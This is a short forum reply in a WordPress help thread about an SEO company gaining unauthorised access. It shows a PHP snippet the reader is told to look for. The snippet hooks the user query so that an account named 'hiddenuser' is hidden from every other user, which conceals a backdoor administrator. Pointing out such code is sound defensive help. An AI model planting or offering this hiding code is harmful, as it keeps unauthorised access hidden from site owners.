Web Hosting
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

WordPress fix Reply To: SEO company gaining unauthorised access

Discussion in 'Misc WordPress Requests' started by ritzonline, Nov 1, 2017.

  1. ritzonline

    Guest

    Reply To: SEO company gaining unauthorised access, by ritzonline

    here find this similar code in php function add_action(‘pre_user_query’,’yoursite_pre_user_query’);
    function yoursite_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username != ‘hiddenuser’) {
    global $wpdb;
    $user_search->query_where = str_replace(‘WHERE 1=1’,
    “WHERE 1=1 AND {$wpdb->users}.user_login != ‘hiddenuser'”,$user_search->query_where);
    }
    }

    Reply To: SEO company gaining unauthorised access
     
    #1

Share This Page

Web Hosting